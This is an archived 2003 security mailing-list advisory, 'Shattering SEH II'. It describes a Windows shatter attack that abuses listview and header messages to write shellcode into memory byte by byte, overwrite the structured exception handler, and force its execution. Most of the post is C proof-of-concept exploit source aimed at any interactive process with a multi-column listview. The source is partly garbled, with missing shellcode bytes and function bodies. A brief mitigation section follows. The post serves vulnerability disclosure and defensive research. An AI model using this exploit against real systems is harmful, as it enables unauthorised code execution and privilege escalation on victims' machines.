Shattering SEH II

From: Brett Moore (brett.moore_at_SECURITY-ASSESSMENT.COM)
Date: 07/28/03

  • Next message: Russ: "Re: MS03-029 / Q823803 definitely breaks RAS and MS isn't listening?"
    Date:         Mon, 28 Jul 2003 13:12:27 -0700

    = Shattering SEH II
    = Originally posted: July 28, 2003

    == Background ==

    Following on from out previous post about overwriting SEH using messages;

    The first post was considered more of a theoretical problem, as it was
    based on manually sizing a column to a size, and then been able to
    overwrite two bytes of a four byte critical address.

    After doing some more research we realised that it was possible to;
    - Systematically control the 'written' bytes
    - Write our 'shellcode' byte by byte to a known fixed address
    - Overwrite the full 4 bytes of a critical address

    The following will briefly describe the how of this and its purpose is
    to show how 'less obvious' messages have the potential to be dangerous.

    == Detail ==

    The RECT structure is defined as;
    (From MSDN)
    - typedef struct _RECT {
    - LONG left;
    - LONG top;
    - LONG right;
    - LONG bottom;
    - } RECT, *PRECT;
    (End MSDN)

    When used with the HDM_GETITEMRECT message, memory is overwritten as;

    AAAABBBBCCCCDDDD where A = Left, B = Top, C = Right, D = Bottem

    By setting the width of the first column, we are in control of the left
    value of the second column. We can use the least significant byte to
    overwrite memory space byte by byte.

    When the HDM_GETITEMRECT is called, memory will be overwritten as;

    XAAABBBBCCCCDDDD where X is our 'controlled' byte.

    By doing one write and then incrementing our write address, we are able
    to write a string of controlled bytes to a controlled memory location.
    This location could be program read/write data space, or something
    global like TEB/PEB.

    We can use this method to write our shellcode into a known writeable
    address. Then the SEH handler is overwritten with the same address,
    and after causing an exception the code is executed.

    == Example Code ==

    * shatterseh2.c
    * Demonstrates the use of listview messages to;
    * - inject shellcode to known location
    * - overwrite 4 bytes of a critical memory address
    * 3 Variables need to be set for proper execution.
    * - tWindow is the title of the programs main window
    * - sehHandler is the critical address to overwrite
    * - shellcodeaddr is the data space to inject the code
    * The 'autofind' feature may not work against all programs.
    * Insert your own blank lines for readability
    * Try it out against any program with a listview.
    * eg: explorer, IE, any file open dialog
    * Brett Moore [ ]
    #include <windows.h>
    #include <commctrl.h>
    // Local Cmd Shellcode
    BYTE exploit[] =
    long hLVControl,hHdrControl;
    char tWindow[]="Main Window Title";// The name of the main window
    long sehHandler = 0x77edXXXX; // Critical Address To Overwrite
    long shellcodeaddr = 0x0045e000; // Known Writeable Space Or Global Space
    void doWrite(long tByte,long address);
    void IterateWindows(long hWnd);
    int main(int argc, char *argv[])
       long hWnd;
       HMODULE hMod;
       DWORD ProcAddr;
       printf("%% Playing with listview messages\n");
       // Find local procedure address
       hMod = LoadLibrary("msvcrt.dll");
       ProcAddr = (DWORD)GetProcAddress(hMod, "system");
       if(ProcAddr != 0)
          // And put it in our shellcode
          *(long *)&exploit[8] = ProcAddr;
       printf("+ Finding %s Window...\n",tWindow);
       hWnd = FindWindow(NULL,tWindow);
       if(hWnd == NULL)
          printf("+ Couldn't Find %s Window\n",tWindow);
          return 0;
       printf("+ Found Main Window At...0x%xh\n",hWnd);
       printf("+ Not Done...\n");
       return 0;
    void doWrite(long tByte,long address)
       SendMessage((HWND) hLVControl,(UINT) LVM_SETCOLUMNWIDTH,
    0,MAKELPARAM(tByte, 0));
       SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,1,address);
    void IterateWindows(long hWnd)
       long childhWnd,looper;
       childhWnd = GetNextWindow(hWnd,GW_CHILD);
       while (childhWnd != NULL)
          childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT);
       hLVControl = hWnd;
       hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0);
       if(hHdrControl != NULL)
          // Found a Listview Window with a Header
          printf("+ Found listview window..0x%xh\n",hLVControl);
          printf("+ Found lvheader window..0x%xh\n",hHdrControl);
          // Inject shellcode to known address
          printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
          for (looper=0;looper<sizeof(exploit);looper++)
             doWrite((long) exploit[looper],(shellcodeaddr + looper));
          // Overwrite SEH
          printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
          doWrite(((shellcodeaddr) & 0xff),sehHandler);
          doWrite(((shellcodeaddr >> 8) & 0xff),sehHandler+1);
          doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2);
          doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3);
          // Cause exception
          printf("+ Forcing Unhandled Exception\n");
          SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1);
          printf("+ Done...\n");

    == Example Vulnerable Programs ==

    From our testing, any interactive proccess that has an accesible
    listview with more than one column is vulnerable.

    == Solutions ==

    See the iDEFENSE paper for some good solution examples.
    - Limit the interactive system processes
    - Filter the messages accepted by interactive system processes

    == Credit ==

    Brett Moore from

    %-) Credits are in the machine. ka-ching.

    == About == is a leader in intrusion testing and security
    code review, and leads the world with SA-ISO, online ISO17799 compliance
    management solution. is committed to security
    research and development, and its team have previously identified a
    number of vulnerabilities in public and private software vendors products.

    Are You "Certifiable"? Summer's Hottest Certification Just Got HOTTER!

    With a growth rate exceeding 110%, the TICSA security practitioner
    certification is one of the hottest IT credentials available. And now, for
    a limited time, you can save 33% off of the TICSA certification exam! To
    learn more about the TICSA certification, and to register as a TICSA
    candidate online, just go to


  • Next message: Russ: "Re: MS03-029 / Q823803 definitely breaks RAS and MS isn't listening?"